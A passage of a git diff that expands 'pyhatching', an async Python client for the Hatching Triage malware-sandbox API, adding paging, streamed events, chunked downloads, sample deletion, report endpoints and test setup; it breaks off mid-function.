diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index e96ea8b..92a525c 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -24,6 +24,9 @@ jobs: - name: Set up project environment run: make setup + - name: Run tests + run: pipenv run pip install --editable . && pipenv run python3 -m pytest + - name: Build package run: make build diff --git a/.gitignore b/.gitignore index b1124f5..73fb1a8 100644 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,4 @@ docs/.doctrees/ docs/ dist/ .DS_Store +.venv/ diff --git a/Pipfile b/Pipfile index 74225d5..6da2c9d 100644 --- a/Pipfile +++ b/Pipfile @@ -4,12 +4,14 @@ verify_ssl = true name = "pypi" [packages] -pydantic = "*" -aiohttp = "*" +pydantic = ">=2.5,<3" +aiohttp = ">=3.9,<4" python-dateutil = "*" certifi = ">=2023.7.22" [dev-packages] +pytest = "*" +pytest-asyncio = "*" black = "*" setuptools = "*" build = "*" diff --git a/README.md b/README.md index ab35934..5df724d 100644 --- a/README.md +++ b/README.md @@ -2,12 +2,18 @@ An async HTTP client to interact with the Hatching Triage Sandbox API (tria.ge). -Supports: -- Overview Reports -- Sample submission -- Sample searching -- Individual sample retrieval -- Profile getting/setting -- Yara rule getting/setting +Supports the whole Triage API (public, private, and self-hosted instances): +- Sample submission (files, URLs, fetched URLs, and imports) and interactive profile selection +- Sample searching, listing (owned/org/public), retrieval, and deletion - with pagination +- Sample events (streamed status changes) +- Overview, static, task (triage), summary, UrlScan, and kernel monitor reports +- Sample, task file (pcaps, dropped files, memory dumps, screenshots), and archive downloads +- Analysis profile management (including VPN geolocations) +- Yara rule management +- Resources (analysis environments), geolocations, and usage statistics +- Magic link tokens and organization settings +- User and API key management (private instances) + +`pyhatching.testing.FakeTriage` is a fake Triage API server for testing code built on pyhatching. Read the full documentation [here](https://gormo.co/docs/pyhatching/). diff --git a/pyproject.toml b/pyproject.toml index f4ca437..a411f06 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -9,8 +9,14 @@ description = "An async Python client for the Hatching Triage Sandbox." readme = "README.md" requires-python = ">=3.11" dependencies = [ - "aiohttp==3.8.4", - "pydantic==1.10.7", + "aiohttp>=3.9,<4", + "pydantic>=2.5,<3", +] + +[project.optional-dependencies] +test = [ + "pytest>=8", + "pytest-asyncio>=0.23", ] [project.scripts] @@ -29,3 +35,8 @@ Documentation = "https://gormo.co/pyhatching/" [tool.setuptools.packages.find] namespaces = true where = ["src"] + +[tool.pytest.ini_options] +testpaths = ["tests"] +asyncio_mode = "auto" +asyncio_default_fixture_loop_scope = "function" diff --git a/src/pyhatching/__init__.py b/src/pyhatching/__init__.py index 1e86498..c887cc8 100644 --- a/src/pyhatching/__init__.py +++ b/src/pyhatching/__init__.py @@ -1,9 +1,14 @@ """Async client to interact with the Hatching Triage Sandbox. -Not a complete client - this library focuses on common use cases. +Supports the whole Hatching Triage API: sample submission, listing, searching, +deletion, and events; every report (overview, static, task, summary, UrlScan, and +kernel logs); sample, task file, pcap, screenshot, and archive downloads; analysis +profiles; Yara rules; resources, geolocations, and usage statistics; magic links; +and (private instance) user, API key, and organization management. All client calls return objects (see `pyhatching.base`) instead of dicts, -unless bytes makes more sense for the endpoint (samples, pcaps). +unless bytes makes more sense for the endpoint (samples, pcaps). Streaming +endpoints (events, kernel logs, chunked downloads) are async generators. The following examples assume you have imported the following and that the example code is being executed with an async function:: @@ -19,17 +24,25 @@ samples_details = await client.search("tag:beacon") pprint.pp([s.dict() for s in samples_details], indent=2) +- Use a private Triage instance (or any other API root):: + + async with pyhatching.PyHatchingClient( + api_key=, url=pyhatching.PRIVATE_URL + ) as client: + async for sample in client.iter_samples("org", limit=500): + print(sample.id, sample.status) + - Using the ``new_client`` factory method - supports same args as ``PyHatchingClient``:: - client = async pyhatching.new_client(api_key=) + client = await pyhatching.new_client(api_key=) # Catch all errors handled by Pyhatching try: - sample = client.get_sample() + sample = await client.get_sample() except pyhatching.errors.PyHatchingError as err: print(f"pyhatching didn't work: {err}") print(sample.dict()) - client.close() # Don't forget to close the client's session when you're done! + await client.close() # Don't forget to close the client's session when you're done! - If you'd like to init the class itself, you'll need to call the ``start()`` method before making any requests:: @@ -41,7 +54,7 @@ print(f"Error: {report}") else: pprint.pp(report.dict(), indent=2) - client.close() + await client.close() - If you don't like the above pattern of ``ErrorResponse`` return types, you can pass ``raise_on_api_err=True`` to ``PyHatchingClient``:: @@ -69,14 +82,18 @@ import functools import hashlib -from json import JSONDecodeError +import json as jsonlib import os import pathlib +from collections.abc import AsyncIterator +from typing import Any +from urllib.parse import quote import aiohttp from pydantic import ValidationError # pylint: disable=E0611 from . import base +from . import enums from . import errors from . import utils @@ -87,12 +104,82 @@ BASE_URL = "https://tria.ge" """The default URL for requests - the public/free version.""" -API_PATH = "/api/v0" -"""The base path used by all API endpoints used for requests.""" +PRIVATE_URL = "https://private.tria.ge" +"""The URL of the private Hatching Triage cloud.""" + +API_PATH = "/api" +"""The path, appended to the URL, that all versioned (``/v0``, ``/v1``) endpoints live under.""" + +MAX_PAGE_SIZE = 200 +"""The most items the API returns in a single page.""" + +CHUNK_SIZE = 1024 * 1024 +"""The default size of the chunks yielded by the ``iter_*`` download methods.""" + + +def _seg(valu: Any) -> str: + """Quote a value for use as a single URL path segment.""" + + return quote(str(valu), safe="") + + +def _params(params: dict) -> dict: + """Drop the ``None`` values from a dict of URL params (aiohttp rejects them).""" + + ret = {} + for key, valu in params.items(): + if valu is None: + continue + if isinstance(valu, bool): + valu = "true" if valu else "false" + ret[key] = valu if isinstance(valu, str) else str(valu) + return ret + + +def _value(valu: Any) -> Any: + """Return the value of an Enum, or the value itself.""" + + return getattr(valu, "value", valu) + + +def http_error_name(status: int) -> str: + """The Hatching Triage error name for an HTTP status, used when the API returns no JSON.""" + + return { + 400: enums.ErrorNames.BAD_REQUEST.value, + 401: enums.ErrorNames.UNAUTHORIZED.value, + 403: enums.ErrorNames.FORBIDDEN.value, + 404: enums.ErrorNames.NOT_FOUND.value, + 405: enums.ErrorNames.METHOD_NOT_ALLOWED.value, + 429: enums.ErrorNames.TOO_MANY_REQUESTS.value, + }.get(status, enums.ErrorNames.INTERNAL.value if status >= 500 else f"HTTP_{status}") + + +def kernel_log_name(task: base.TaskSummary | dict) -> str: + """The kernel monitor log name (ex. ``onemon``) of a task, based on its OS/platform. + + Raises + ------ + errors.PyHatchingValueError + If the task's platform has no known kernel log. + """ + + if isinstance(task, base.TaskSummary): + task = task.model_dump() + platform = f"{task.get('os') or ''} {task.get('platform') or ''}".lower() + if "windows" in platform: + return enums.KernelLogs.WINDOWS.value + if "linux" in platform or "ubuntu" in platform: + return enums.KernelLogs.LINUX.value + if "macos" in platform: + return enums.KernelLogs.MACOS.value + if "android" in platform: + return enums.KernelLogs.ANDROID.value + raise errors.PyHatchingValueError(f"No kernel log is known for the platform: {platform.strip()}") def convert_to_model( - model: base.HatchingResponse, + model: type[base.HatchingResponse], resp: aiohttp.ClientResponse, obj: dict, raise_on_api_err: bool = False, @@ -101,7 +188,7 @@ def convert_to_model( Parameters ---------- - model : base.HatchingResponse + model : type[base.HatchingResponse] The model to convert the response to. resp : aiohttp.ClientResponse The HTTP response object so it can be added to the model. @@ -114,8 +201,9 @@ def convert_to_model( Returns ------- base.HatchingResponse | list[base.HatchingResponse] - The API can return either a list or a single item depending on the endpoint - so can this method. The objects returned are of the same type as ``model``. + Lists (``{"data": [...]}`` responses) are returned as a list of ``model``, + unless ``model`` itself has a ``data`` field (ex. ``base.SamplesPage``). + Errors are returned as a ``base.ErrorResponse``. Raises ------ @@ -127,33 +215,43 @@ def convert_to_model( returned by the Hatching Triage API and not a successful response. """ - ret = [] - url = resp.request_info.url + url = resp.request_info.url if resp is not None else None + status = getattr(resp, "status", None) + + if not isinstance(obj, dict): + raise errors.PyHatchingValidateError( + f"Unexpected response from the {url} endpoint: {obj}" + ) + try: - if "data" in obj: - for item in obj["data"]: - ret.append(model(resp_obj=obj, **item)) - elif "error" in obj: - ret = base.ErrorResponse(resp_obj=resp, **obj) - elif isinstance(obj, dict): - ret = model(resp_obj=resp, **obj) + if "error" in obj and (status is None or status >= 400 or "message" in obj): + ret = base.ErrorResponse(resp_obj=resp, status=status, **obj) + elif "data" in obj and "data" not in model.model_fields: + ret = [model(resp_obj=resp, **item) for item in obj["data"] or []] else: - raise errors.PyHatchingValueError( - f"Unexpected response from the {url} endpoint: {obj}" - ) - except ValidationError as err: + ret = model(resp_obj=resp, **obj) + except (ValidationError, TypeError) as err: raise errors.PyHatchingValidateError( f"Unable to validate {url} response: {err}" ) from err if raise_on_api_err and isinstance(ret, base.ErrorResponse): - raise errors.PyHatchingApiError( - f"Hatching Triage API Error - {ret.error} - {ret.message}" - ) + raise api_error(ret) return ret +def api_error(err: base.ErrorResponse) -> errors.PyHatchingApiError: + """Create a ``PyHatchingApiError`` from an ``ErrorResponse``.""" + + return errors.PyHatchingApiError( + f"Hatching Triage API Error - {err.error} - {err.message}", + status=err.status, + error=err.error, + message=err.message, + ) + + async def new_client( api_key: str, url: str = BASE_URL, @@ -161,7 +259,7 @@ async def new_client( raise_on_api_err: bool = False, **kwargs, ): - """Factory to create a new ``PyHatchingCLient`` instance.""" + """Factory to create a new ``PyHatchingClient`` instance and start its session.""" client = PyHatchingClient( api_key, @@ -174,7 +272,7 @@ async def new_client( return client -class PyHatchingClient: +class PyHatchingClient: # pylint: disable=R0904 """An async HTTP client that interfaces with the Hatching Triage Sandbox. Any method that makes HTTP requests (calls ``_request``) may raise either @@ -184,6 +282,9 @@ class PyHatchingClient: may raise a ``PyHatchingValidateError``. If ``raise_on_api_err`` is ``True``, these methods may raise a ``PyHatchingApiError`` as well. + Async generators (the ``iter_*``, ``*_events``, and ``kernel_report`` methods) + can't return an ``ErrorResponse``, so they always raise ``PyHatchingApiError``. + If a specific method also explicitly raises exceptions, it will be documented. Catch all handled errors with ``PyHatchingError``. @@ -194,12 +295,18 @@ class PyHatchingClient: The Hatching Triage Sandbox API key to use for requests. url : str, optional The URL to use as a base in all requests, by default BASE_URL. + Use ``PRIVATE_URL`` for the private cloud. timeout : int, optional - The total timeout for all requests, by default 60. + The total timeout for all requests, by default 60. Streaming requests + (events, chunked downloads) only use it to connect. raise_on_api_err : bool, optional - Whether to raise when the Hatching Triage API returns an API error response - (an HTTP 200 response that describes a handled error with the request). + Whether to raise when the Hatching Triage API returns an API error response. See the `API docs`_ for further information. + api_path : str, optional + The path the versioned endpoints live under, by default ``API_PATH``. + Use an empty string for an API root like ``https://api.tria.ge``. + trust_env : bool, optional + Whether the HTTP session uses proxy settings from the environment, by default True. Attributes ---------- @@ -218,21 +325,29 @@ class PyHatchingClient: .. _API docs: https://tria.ge/docs/cloud-api/conventions/ """ - def __init__( + def __init__( # pylint: disable=R0913 self, api_key: str, url: str = BASE_URL, timeout: int = 60, raise_on_api_err: bool = False, + api_path: str = API_PATH, + trust_env: bool = True, ) -> None: - self.url = url + self.url = url.rstrip("/") + self.api_path = api_path.rstrip("/") self.api_key = api_key + self.raise_on_api_err = raise_on_api_err + self.trust_env = trust_env self.headers = { "Authorization": f"Bearer {self.api_key}", "User-Agent": f"{aiohttp.http.SERVER_SOFTWARE} pyhatching/{__version__}", } self.timeout = aiohttp.ClientTimeout(total=timeout) + self.stream_timeout = aiohttp.ClientTimeout( + total=None, connect=timeout, sock_connect=timeout + ) self.session = None self.convert_resp = functools.partial( @@ -251,18 +366,41 @@ async def __aexit__(self, *args): async def start(self): """Start the client session.""" self.session = aiohttp.ClientSession( - base_url=self.url, headers=self.headers, timeout=self.timeout + headers=self.headers, timeout=self.timeout, trust_env=self.trust_env ) async def close(self): """Close the client session.""" - await self.session.close() + if self.session is not None: + await self.session.close() + + def _url(self, uri: str) -> str: + """The full URL of an API path (ex. ``/v0/samples``).""" + + return f"{self.url}{self.api_path}{uri}" + + @staticmethod + def _load(resp: aiohttp.ClientResponse, text: str) -> dict: + """Deserialize a response body, turning non-JSON error bodies into an API error.""" + + if not text.strip(): + if resp.status >= 400: + return {"error": http_error_name(resp.status), "message": resp.reason or ""} + return {} + try: + return jsonlib.loads(text) + except ValueError as err: + if resp.status >= 400: + return {"error": http_error_name(resp.status), "message": text[:500]} + raise errors.PyHatchingJsonError( + f"Unable to parse the response json: {err}" + ) from err - async def _request( + async def _request( # pylint: disable=R0913 self, method: str, uri: str, - data: aiohttp.MultipartWriter | None = None, + data: Any = None, json: dict | None = None, params: dict | None = None, raw: bool = False, @@ -281,16 +419,16 @@ async def _request( method : str The HTTP method to use for the request. uri : str - The URI (without the session's base_url) to make the request to. - data : dict | None, optional + The URI (without the URL and API path, ex. ``/v0/samples``) to request. + data : Any, optional The HTTP form data to send with this request, by default None. json : dict | None, optional The JSON data to send in this request's HTTP body, by default None. params : dict | None, optional The URL parameters to send with this request, by default None. - raw : dict | False, optional - Return the raw response without calling ``json`` on the response. - Returns an empty dict as the 2nd return value. + raw : bool, optional + Return the response without reading its body. Returns an empty dict + as the 2nd return value. The caller must release the response. Returns ------- @@ -304,31 +442,135 @@ async def _request( PyHatchingRequestError If there was an error (not an HTTP response error code) in the process of making a request. - PyHatchingValidateError + PyHatchingJsonError If the JSON response could not be parsed. """ + if self.session is None: + raise errors.PyHatchingRequestError( + "The client session isn't started, use start() or a context manager." + ) + + kwargs = {} + if raw: + kwargs["timeout"] = self.stream_timeout + try: resp = await self.session.request( - method, f"{API_PATH}{uri}", data=data, json=json, params=params + method, + self._url(uri), + data=data, + json=json, + params=_params(params or {}), + **kwargs, ) if raw: return resp, {} - resp_json = await resp.json() + text = await resp.text() - except aiohttp.ClientError as err: + except (aiohttp.ClientError, TimeoutError) as err: raise errors.PyHatchingRequestError( f"Error making an HTTP request to Hatching Triage: {err}" ) from err - except JSONDecodeError as err: - raise errors.PyHatchingJsonError( - f"Unable to parse the response json: {err}" + return resp, self._load(resp, text) + + async def _model(self, model, method: str, uri: str, **kwargs): + """Make a request and convert its response to ``model``.""" + + resp, resp_dict = await self._request(method, uri, **kwargs) + return self.convert_resp(model, resp, resp_dict) + + async def _empty(self, method: str, uri: str, **kwargs) -> None | base.ErrorResponse: + """Make a request whose successful response has no content, returning None or the error.""" + + resp, resp_dict = await self._request(method, uri, **kwargs) + if resp.status < 400 and not (isinstance(resp_dict, dict) and "error" in resp_dict): + return None + return self.convert_resp(base.ErrorResponse, resp, resp_dict) + + async def _raw_error(self, resp: aiohttp.ClientResponse) -> base.ErrorResponse: + """Read an error response returned for a raw request (and release it).""" + + try: + text = await resp.text() + except aiohttp.ClientError: + text = "" + finally: + resp.release() + obj = self._load(resp, text) + if not isinstance(obj, dict) or "error" not in obj: + obj = {"error": http_error_name(resp.status), "message": text[:500]} + return base.ErrorResponse(resp_obj=resp, status=resp.status, **obj) + + async def _iter_bytes(self, uri: str, chunk_size: int = CHUNK_SIZE) -> AsyncIterator[bytes]: + """Download a file in chunks, raising a ``PyHatchingApiError`` if it isn't available.""" + + resp, _ = await self._request("get", uri, raw=True) + if resp.status >= 300: + raise api_error(await self._raw_error(resp)) + try: + async for chunk in resp.content.iter_chunked(chunk_size): + yield chunk + except (aiohttp.ClientError, TimeoutError) as err: + raise errors.PyHatchingRequestError( + f"Error downloading {uri} from Hatching Triage: {err}" + ) from err + finally: + resp.release() + + async def _bytes(self, uri: str) -> bytes | None: + """Download a file, returning None (or raising, with raise_on_api_err) if it's unavailable.""" + + try: + return b"".join([chunk async for chunk in self._iter_bytes(uri)]) + except errors.PyHatchingApiError: + if self.raise_on_api_err: + raise + return None + + async def _iter_json_lines(self, uri: str) -> AsyncIterator[dict]: + """Stream a newline delimited JSON response, yielding each object.""" + + resp, _ = await self._request("get", uri, raw=True) + if resp.status >= 300: + raise api_error(await self._raw_error(resp)) + buf = b"" + try: + async for chunk in resp.content.iter_any(): + buf += chunk + while b"\n" in buf: + line, buf = buf.split(b"\n", 1) + if line.strip(): + yield self._json_line(line) + if buf.strip(): + yield self._json_line(buf) + except (aiohttp.ClientError, TimeoutError) as err: + raise errors.PyHatchingRequestError( + f"Error streaming {uri} from Hatching Triage: {err}" ) from err + finally: + resp.release() + + @staticmethod + def _json_line(line: bytes) -> dict: + try: + return jsonlib.loads(line) + except ValueError as err: + raise errors.PyHatchingJsonError(f"Unable to parse a streamed JSON line: {err}") from err + + @staticmethod + def _task(sample_id: str, task: str) -> str: + """Strip the sample ID from a full task ID (ex. ``-behavioral1``).""" - return resp, resp_json + prefix = f"{sample_id}-" + if task.startswith(prefix): + return task[len(prefix):] + return task + + # ---- Samples ---- async def norm_sample(self, sample: str) -> str | None: """Return a sample ID if sample is a hash, otherwise pass it back.""" @@ -338,58 +580,189 @@ async def norm_sample(self, sample: str) -> str | None: sample_id = sample return sample_id - async def download_sample(self, sample: str) -> bytes | None: - """Download a sample's bytes by the given ID. + async def _stream_sample(self, sample: str) -> str: + """``norm_sample`` for generators, which raise when a hash has no sample.""" - Parameters - ---------- - sample : str - The sample to download, this can be any of the following - as the value is passed to ``sample_id`` if needed to find the ID:: + sample_id = await self.norm_sample(sample) + if sample_id is None: + raise errors.PyHatchingApiError( + f"Hatching Triage has no sample for {sample}", + status=404, + error=enums.ErrorNames.NOT_FOUND.value, + message=f"No sample for {sample}", + ) + return sample_id - sample uuid, md5, sha1, sha2, ssdeep + async def sample_id(self, file_hash: str) -> str | None: + """Find the ID of a sample by the given hash, uses ``search`` under the hood. - Raises - ------ - PyHatchingError - When a sample cannot be found. + The most recent sample is returned when the file was submitted more than once. + + Parameters + ---------- + file_hash : str + The hash (md5, sha1, sha256, sha512, ssdeep) of the file to get and ID for. Returns ------- - bytes - The downloaded bytes. + str + The sample ID that was found for ``file_hash``. None - If no bytes can be downloaded or the sample is not found. + The sample ID could not be found. """ - sample_id = await self.norm_sample(sample) - if sample_id is None: + hash_prefix = utils.hash_type(file_hash) + + if hash_prefix is None: + raise errors.PyHatchingValueError( + f"The input hash is not valid according to 'utils.hash_type': {file_hash}" + ) + + page = await self.search_page(f"{hash_prefix}:{file_hash}", limit=1) + + if isinstance(page, base.ErrorResponse) or not page.data: return None - resp, _ = await self._request("get", f"/samples/{sample_id}/sample", raw=True) + return page.data[0].id + + async def samples_page( + self, + subset: enums.SampleSubsets | str = enums.SampleSubsets.OWNED, + limit: int = 20, + offset: str | None = None, + ) -> base.SamplesPage | base.ErrorResponse: + """Get a single page of samples (GET /v0/samples). + + Parameters + ---------- + subset : enums.SampleSubsets | str, optional + ``owned`` (your samples), ``org`` (your organization's), or ``public``. + limit : int, optional + The page size, at most ``MAX_PAGE_SIZE``. By default 20. + offset : str | None, optional + The ``next`` value of the previous page. + """ + + params = {"subset": _value(subset), "limit": min(limit, MAX_PAGE_SIZE), "offset": offset} + return await self._model(base.SamplesPage, "get", "/v0/samples", params=params) + + async def search_page( + self, query: str, limit: int = 20, offset: str | None = None + ) -> base.SamplesPage | base.ErrorResponse: + """Get a single page of search results (GET /v0/search). + + See the Hatching Triage `docs`_ for how to search. + + .. _docs: https://tria.ge/docs/cloud-api/search/ + """ + + params = {"query": query, "limit": min(limit, MAX_PAGE_SIZE), "offset": offset} + return await self._model(base.SamplesPage, "get", "/v0/search", params=params) + + async def _pages(self, getpage, limit: int) -> AsyncIterator[base.SamplesPage | base.ErrorResponse]: + """Yield pages from ``getpage(limit, offset)`` until ``limit`` items (0 is no limit).""" + + offset = None + count = 0 + while True: + size = MAX_PAGE_SIZE if not limit else min(MAX_PAGE_SIZE, limit - count) + page = await getpage(size, offset) + yield page + if isinstance(page, base.ErrorResponse) or not page.data: + return + count += len(page.data) + if not page.next or (limit and count >= limit): + return + offset = page.next + + async def _iter(self, getpage, limit: int) -> AsyncIterator[base.SampleInfo]: + count = 0 + async for page in self._pages(getpage, limit): + if isinstance(page, base.ErrorResponse): + raise api_error(page) + for item in page.data: + yield item + count += 1 + if limit and count >= limit: + return + + async def _list(self, getpage, limit: int) -> list[base.SampleInfo] | base.ErrorResponse: + ret = [] + async for page in self._pages(getpage, limit): + if isinstance(page, base.ErrorResponse): + return page + ret.extend(page.data) + return ret[:limit] if limit else ret + + async def iter_samples( + self, subset: enums.SampleSubsets | str = enums.SampleSubsets.OWNED, limit: int = 20 + ) -> AsyncIterator[base.SampleInfo]: + """Yield up to ``limit`` samples (0 for all of them) from a subset, newest first.""" + + async def getpage(size, offset): + return await self.samples_page(subset, limit=size, offset=offset) + + async for item in self._iter(getpage, limit): + yield item + + async def get_samples( + self, subset: enums.SampleSubsets | str = enums.SampleSubsets.OWNED, limit: int = 20 + ) -> list[base.SampleInfo] | base.ErrorResponse: + """Return up to ``limit`` samples (0 for all of them) from a subset, newest first.""" + + async def getpage(size, offset): + return await self.samples_page(subset, limit=size, offset=offset) + + return await self._list(getpage, limit) + + async def iter_search(self, query: str, limit: int = 20) -> AsyncIterator[base.SampleInfo]: + """Yield up to ``limit`` samples (0 for all of them) matching ``query``.""" + + async def getpage(size, offset): + return await self.search_page(query, limit=size, offset=offset) + + async for item in self._iter(getpage, limit): + yield item + + async def search( + self, query: str, limit: int = 20 + ) -> list[base.SamplesResponse] | base.ErrorResponse: + """Search the Hatching Triage Sandbox for samples matching ``query``. + + See the Hatching Triage `docs`_ for how to search. + + Parameters + ---------- + query : str + The query string to search for. + limit : int, optional + The most samples to return, pages through the results as needed. + Use 0 for every result. By default 20. + + Returns + ------- + list[base.SampleInfo] + A list containing ``SampleInfo`` objects for each returned sample. + + .. _docs: https://tria.ge/docs/cloud-api/search/ + """ - if resp.status == 200: - sample_bytes = await resp.read() - return sample_bytes + async def getpage(size, offset): + return await self.search_page(query, limit=size, offset=offset) - return None + return await self._list(getpage, limit) - async def get_sample(self, sample: str) -> base.SampleInfo | base.ErrorResponse: + async def get_sample(self, sample: str) -> base.SampleInfo | base.ErrorResponse | None: """Get metadata about a sample by hash or sample ID. Parameters ---------- sample : str - The sample to download, this can be any of the following + The sample to get, this can be any of the following as the value is passed to ``sample_id`` if needed to find the ID:: sample uuid, md5, sha1, sha2, ssdeep - Raises - ------ - PyHatchingError - When a sample cannot be found. - Returns ------- base.SampleInfo @@ -404,87 +777,162 @@ async def get_sample(self, sample: str) -> base.SampleInfo | base.ErrorResponse: if sample_id is None: return None - resp, resp_dict = await self._request("get", f"/samples/{sample}") + return await self._model(base.SampleInfo, "get", f"/v0/samples/{_seg(sample_id)}") - return self.convert_resp(base.SampleInfo, resp, resp_dict) + async def delete_sample(self, sample: str) -> None | base.ErrorResponse: + """Delete a sample (and its analyses) that you own.""" - async def get_profile( - self, profile_id: str - ) -> base.HatchingProfileResponse | base.ErrorResponse: - """Get a sandbox analysis profile by either ID or name. + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None + return await self._empty("delete", f"/v0/samples/{_seg(sample_id)}") + + async def set_sample_profile( + self, + sample: str, + profiles: list[base.HatchingProfileSubmission | dict] | None = None, + auto: bool = False, + pick: list[str] | None = None, + ) -> None | base.ErrorResponse: + """Pick the profiles for a sample that was submitted with ``interactive=True``. Parameters ---------- - profile_id : str - Either the ``id`` (UUID4) or the name of the profile. - - Returns - ------- - base.HatchingProfileResponse - If successful, the requested sandbox profile. - base.ErrorResponse - If there was an error. + sample : str + The sample ID (in the ``static_analysis`` status). + profiles : list, optional + The profiles to run, ex. ``[{"profile": "w10", "pick": "file1.exe"}]``. + auto : bool, optional + Let the sandbox pick the profiles, by default False. + pick : list[str] | None, optional + With ``auto``, the files (in an archive) to analyze. """ - resp, resp_dict = await self._request("get", f"/profiles/{profile_id}") + if auto: + body = {"auto": True, "pick": list(pick or [])} + else: + body = { + "auto": False, + "profiles": [ + p.model_dump(exclude_none=True, mode="json") + if isinstance(p, base.TriageModel) else p + for p in profiles or [] + ], + } + return await self._empty("post", f"/v0/samples/{_seg(sample)}/profile", json=body) - return self.convert_resp(base.HatchingProfileResponse, resp, resp_dict) + async def sample_events(self, sample: str) -> AsyncIterator[base.SampleInfo]: + """Stream a sample's status changes until its analysis finishes (GET /samples/{id}/events).""" - async def get_profiles( + async for event in self._iter_json_lines(f"/v0/samples/{_seg(sample)}/events"): + yield self.convert_resp(base.SampleInfo, None, event) + + async def samples_events(self) -> AsyncIterator[base.SampleInfo]: + """Stream the status changes of all your running samples (GET /samples/events).""" + + async for event in self._iter_json_lines("/v0/samples/events"): + yield self.convert_resp(base.SampleInfo, None, event) + + async def _submit_sample( self, - ) -> list[base.HatchingProfileResponse] | base.ErrorResponse: - """Get all sandbox analysis profiles for your account. + json: dict | None = None, + data: aiohttp.FormData | None = None, + ): + """Actually make the submit sample HTTP request.""" - Returns - ------- - list[base.HatchingProfileResponse] - If successful, the requested sandbox profiles. - base.ErrorResponse - If there was an error. - """ + resp, resp_dict = await self._request("post", "/v0/samples", json=json, data=data) + return resp, resp_dict - resp, resp_dict = await self._request("get", "/profiles") + async def _submit_fetch( + self, + submit_req: base.SubmissionRequest, + ): + """Submit a file hosted at a URL for the sandbox to download and analyze.""" - return self.convert_resp(base.HatchingProfileResponse, resp, resp_dict) + return await self._submit_sample(json=submit_req.model_dump(exclude_none=True, mode="json")) - async def get_rule(self, rule_name: str) -> base.YaraRule | base.ErrorResponse: - """Get a single Yara rule by name. + async def _submit_file( + self, + submit_req: base.SubmissionRequest, + sample: bytes | pathlib.Path | str, + ): + """Submit a file to the sandbox for analysis.""" - Parameters - ---------- - rule_name : str - The name of the rule. + if isinstance(sample, (bytes, bytearray)): + if not submit_req.target: + fhash = hashlib.md5(sample).hexdigest() + raise errors.PyHatchingValueError( + f"Must specify a filename (target) when submitting bytes ({fhash})" + ) + byts = bytes(sample) + filename = submit_req.target + else: + path = os.path.expandvars(os.path.expanduser(str(sample))) + try: + with open(path, "rb") as fd: + byts = fd.read() + except OSError as err: + raise errors.PyHatchingFileError( + f"Unable to read {sample}: {err}" + ) from err + filename = submit_req.target or os.path.basename(path) - Returns - ------- - base.YaraRule - If successful, the returned Yara rule. - """ + form = aiohttp.FormData() + form.add_field("_json", submit_req.model_dump_json(exclude_none=True)) + form.add_field( + "file", byts, filename=filename, content_type="application/octet-stream" + ) - resp, resp_dict = await self._request("get", f"/yara/{rule_name}") + return await self._submit_sample(data=form) - return self.convert_resp(base.YaraRule, resp, resp_dict) + async def submit_sample( + self, + submit_req: base.SubmissionRequest, + sample: bytes | pathlib.Path | str | None = None, + ) -> base.SamplesResponse | base.ErrorResponse: + """Submit a sample to the sandbox based on the given ``SubmissionRequest``. - async def get_rules(self) -> base.YaraRules | base.ErrorResponse: - """Get all Yara rules tied to your account. + Parameters + ---------- + submit_req : base.SubmissionRequest + The object used to make the request - see this object for details. + sample : bytes | pathlib.Path | str + The local file path or raw bytes to submit, for ``file`` submissions. + ``submit_req.target`` must be set to a filename when passing bytes. Returns ------- - base.YaraRules - If successful, the returned Yara rules. + base.SamplesResponse + If successful, the newly created sample object. + base.ErrorResponse + If the API reports an error with the submission. """ - resp, resp_dict = await self._request("get", "/yara") + kind = _value(submit_req.kind) + if kind == "file": + if sample is None: + raise errors.PyHatchingValueError( + "No file specified for file based submission." + ) + resp, resp_dict = await self._submit_file(submit_req, sample) + else: + if submit_req.url is None: + raise errors.PyHatchingValueError( + f"No URL specified for {kind} based submission." + ) + resp, resp_dict = await self._submit_fetch(submit_req) + + return self.convert_resp(base.SamplesResponse, resp, resp_dict) - return self.convert_resp(base.YaraRules, resp, resp_dict) + # ---- Reports ---- - async def overview(self, sample: str) -> base.OverviewReport | base.ErrorResponse: - """Return a sample's Overview Report. + async def overview(self, sample: str) -> base.OverviewReport | base.ErrorResponse | None: + """Return a sample's Overview Report (GET /v1/samples/{id}/overview.json). Parameters ---------- sample : str - The sample to download, this can be any of the following + The sample, this can be any of the following as the value is passed to ``sample_id`` if needed to find the ID:: sample uuid, md5, sha1, sha2, ssdeep @@ -503,294 +951,477 @@ async def overview(self, sample: str) -> base.OverviewReport | base.ErrorRespons if sample_id is None: return None - resp, resp_dict = await self._request( - "get", f"/samples/{sample_id}/overview.json" + return await self._model( + base.OverviewReport, "get", f"/v1/samples/{_seg(sample_id)}/overview.json" ) - return self.convert_resp(base.OverviewReport, resp, resp_dict) + async def static_report(self, sample: str) -> base.StaticReport | base.ErrorResponse | None: + """Return a sample's static analysis report (GET /v0/samples/{id}/reports/static).""" - async def sample_id(self, file_hash: str) -> str | None: - """Find the ID of a sample by the given hash, uses ``search`` under the hood. + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - Parameters - ---------- - file_hash : str - The hash (md5, sha1, sha2, ssdeep) of the file to get and ID for. + return await self._model( + base.StaticReport, "get", f"/v0/samples/{_seg(sample_id)}/reports/static" + ) - Returns - ------- - str - The sample ID that was found for ``file_hash``. - None - The sample ID could not be found. + async def task_report( + self, sample: str, task: str + ) -> base.TriageReport | base.ErrorResponse | None: + """Return a task's dynamic analysis report (GET /v0/samples/{id}/{task}/report_triage.json). + + ``task`` is a task name like ``behavioral1`` (or the full ``-behavioral1``). """ - hash_prefix = utils.hash_type(file_hash) + sample_id = await self.norm_sample(sample) + if sample_id is None: + return None - if hash_prefix is None: - raise errors.PyHatchingValueError( - f"The input hash is not valid according to 'utils.hash_type': {file_hash}" - ) + task = self._task(sample_id, task) + return await self._model( + base.TriageReport, + "get", + f"/v0/samples/{_seg(sample_id)}/{_seg(task)}/report_triage.json", + ) - samples = await self.search(f"{hash_prefix}:{file_hash}") + async def sample_summary(self, sample: str) -> base.SampleSummary | base.ErrorResponse | None: + """Return a short summary of a sample and its tasks (GET /v0/samples/{id}/summary).""" - if isinstance(samples, base.ErrorResponse): + sample_id = await self.norm_sample(sample) + if sample_id is None: return None - if len(samples) > 1: - # TODO There should only be one sample per hash right? - return samples[0].id + return await self._model(base.SampleSummary, "get", 